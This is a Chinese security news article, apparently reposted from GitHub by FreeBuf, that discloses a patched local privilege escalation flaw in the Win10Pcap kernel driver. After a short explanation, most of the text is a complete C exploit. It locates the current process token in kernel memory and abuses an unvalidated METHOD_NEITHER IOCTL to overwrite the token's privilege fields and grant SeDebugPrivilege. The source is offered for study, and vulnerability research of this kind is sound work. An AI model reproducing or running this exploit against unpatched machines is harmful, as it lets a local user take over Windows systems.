前几天我在win10pcap驱动中发现一枚可以进行本地提权的漏洞,当时就已经报告给官方,现在已可以通过更新得到修复。
http://www.win10pcap.org/download/
应众多朋友请求,遂将样本exploit公布出来,供大家学习参考。
简介
Win10Pcap是一款全新的基于WinPcap网络抓包库。与WinPcap不同,Win10Pcap是兼容NDIS 6.x驱动模式,并且能够在Windows 10系统下稳定运行,于此同时Win10Pcap还支持捕获IEEE802.1Q VLAN目标。所以如果你是在Windows 10下安装的wireshark,那么Win10Pcap会成为你不二的选择。
漏洞概述
Win10Pcap内核驱动没有检测来自用户传递的虚拟地址,IOCTL函数既没有进行缓冲处理也没有管理I/O通道,没有写入探针来验证传递地址。
在运行时,你需要找到准确的设备名发送给IOCTL函数,硬编码设备名不会触发漏洞代码。
IOCTL函数在传递地址中写入一个字符串,这个字符串类似于:
"Global/WTCAP_EVENT_3889023063_1"
还有其他一些方式来利用这个漏洞,我决定覆盖_SEP_TOKEN_PRIVILEGES在进程令牌中设置权限。
在地址0×034使用字符串"Global/WTCAP_EVENT"覆盖令牌,不破坏敏感文件设置SeDebugPrivilege权限
81687cf8 cc int 3 2: kd> dt nt!_TOken +0x000 TokenSource : _TOKEN_SOURCE +0x010 TokenId : _LUID +0x018 AuthenticationId : _LUID +0x020 ParentTokenId : _LUID +0x028 ExpirationTime : _LARGE_INTEGER +0x030 TokenLock : Ptr32 _ERESOURCE +0x034 ModifiedId : _LUID +0x040 Privileges : _SEP_TOKEN_PRIVILEGES +0x058 AuditPolicy : _SEP_AUDIT_POLICY
福利Show
main.cpp:
#include <stdio.h> #include <tchar.h> #include<Windows.h> #include<stdio.h> #include <winternl.h> #include <intrin.h> #include <psapi.h> #include <strsafe.h> #include <assert.h> #defineSL_IOCTL_GET_EVENT_NAMECTL_CODE(0x8000, 1, METHOD_NEITHER, FILE_ANY_ACCESS) #define STATUS_SUCCESS((NTSTATUS)0x00000000L) #define STATUS_INFO_LENGTH_MISMATCH((NTSTATUS)0xc0000004L) /* found with : !token 1: kd> dt nt!_OBJECT_HEADER +0x000 PointerCount : Int4B +0x004 HandleCount : Int4B +0x004 NextToFree : Ptr32 Void +0x008 Lock : _EX_PUSH_LOCK +0x00c TypeIndex : UChar +0x00d TraceFlags : UChar +0x00e InfoMask : UChar +0x00f Flags : UChar +0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION +0x010 QuotaBlockCharged : Ptr32 Void +0x014 SecurityDescriptor : Ptr32 Void +0x018 Body : _QUAD TypeIndex is 0x5 */ #define HANDLE_TYPE_TOKEN0x5 // Undocumented SYSTEM_INFORMATION_CLASS: SystemHandleInformation const SYSTEM_INFORMATION_CLASS SystemHandleInformation = (SYSTEM_INFORMATION_CLASS)16; // The NtQuerySystemInformation function and the structures that it returns // are internal to the operating system and subject to change from one // release of Windows to another. To maintain the compatibility of your // application, it is better not to use the function. typedef NTSTATUS (WINAPI * PFN_NTQUERYSYSTEMINFORMATION)( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL ); // Undocumented structure: SYSTEM_HANDLE_INFORMATION typedef struct _SYSTEM_HANDLE { ULONG ProcessId; UCHAR ObjectTypeNumber; UCHAR Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE, *PSYSTEM_HANDLE; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE Handles[1]; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; // Undocumented FILE_INFORMATION_CLASS: FileNameInformation const FILE_INFORMATION_CLASS FileNameInformation = (FILE_INFORMATION_CLASS)9; // The NtQueryInformationFile function and the structures that it returns // are internal to the operating system and subject to change from one // release of Windows to another. To maintain the compatibility of your // application, it is better not to use the function. typedef NTSTATUS (WINAPI * PFN_NTQUERYINFORMATIONFILE)( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass ); // FILE_NAME_INFORMATION contains name of queried file object. typedef struct _FILE_NAME_INFORMATION { ULONG FileNameLength; WCHAR FileName[1]; } FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; void* FindTokenAddressHandles(ULONG pid) { ///////////////////////////////////////////////////////////////////////// // Prepare for NtQuerySystemInformation and NtQueryInformationFile. // // The functions have no associated import library. You must use the // LoadLibrary and GetProcAddress functions to dynamically link to // ntdll.dll. HINSTANCE hNtDll = LoadLibrary(_T("ntdll.dll")); assert(hNtDll != NULL); PFN_NTQUERYSYSTEMINFORMATION NtQuerySystemInformation = (PFN_NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtDll, "NtQuerySystemInformation"); assert(NtQuerySystemInformation != NULL); ///////////////////////////////////////////////////////////////////////// // Get system handle information. // DWORD nSize = 4096, nReturn; PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION) HeapAlloc(GetProcessHeap(), 0, nSize); // NtQuerySystemInformation does not return the correct required buffer // size if the buffer passed is too small. Instead you must call the // function while increasing the buffer size until the function no longer // returns STATUS_INFO_LENGTH_MISMATCH. while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo, nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH) { HeapFree(GetProcessHeap(), 0, pSysHandleInfo); nSize += 4096; pSysHandleInfo = (SYSTEM_HANDLE_INFORMATION*)HeapAlloc( GetProcessHeap(), 0, nSize); } for (ULONG i = 0; i < pSysHandleInfo->NumberOfHandles; i++) { PSYSTEM_HANDLE pHandle = &(pSysHandleInfo->Handles[i]); if (pHandle->ProcessId == pid && pHandle->ObjectTypeNumber == HANDLE_TYPE_TOKEN) { printf(" ObjectTypeNumber %d , ProcessId %d , Object %p /r/n",pHandle->ObjectTypeNumber,pHandle->ProcessId,pHandle->Object); return pHandle->Object; } } ///////////////////////////////////////////////////////////////////////// // Clean up. // HeapFree(GetProcessHeap(), 0, pSysHandleInfo); return 0; } void main() { DWORD dwBytesReturned; DWORD ShellcodeFakeMemory; HANDLE token; // first create toke handle so find object address with handle if(!OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY,&token)) DebugBreak(); void* TokenAddress = FindTokenAddressHandles(GetCurrentProcessId()); CloseHandle(token); // i dont want write fully weaponized exploit so criminal must write code to find "WTCAP_A_{B8296C9f-8ed4-48A2-84A0-A19DB94418E3" in runtime ( simple task :) HANDLE hDriver = CreateFileA("////.//WTCAP_A_{B8296C9f-8ed4-48A2-84A0-A19DB94418E3}",GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); if(hDriver!=INVALID_HANDLE_VALUE) { fprintf(stderr," Open Driver OK/n"); if (!DeviceIoControl(hDriver, SL_IOCTL_GET_EVENT_NAME, NULL,0x80,(void*)((char*)TokenAddress+0x34),NULL,&dwBytesReturned, NULL)) { fprintf(stderr,"send IOCTL error %d./n",GetLastError()); return; } else fprintf(stderr," Send IOCTL OK/n"); } else { fprintf(stderr," Open Driver error %d./n",GetLastError()); return; } CloseHandle(hDriver); getchar(); }
* 参考来源: github ,编译/FB小编鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)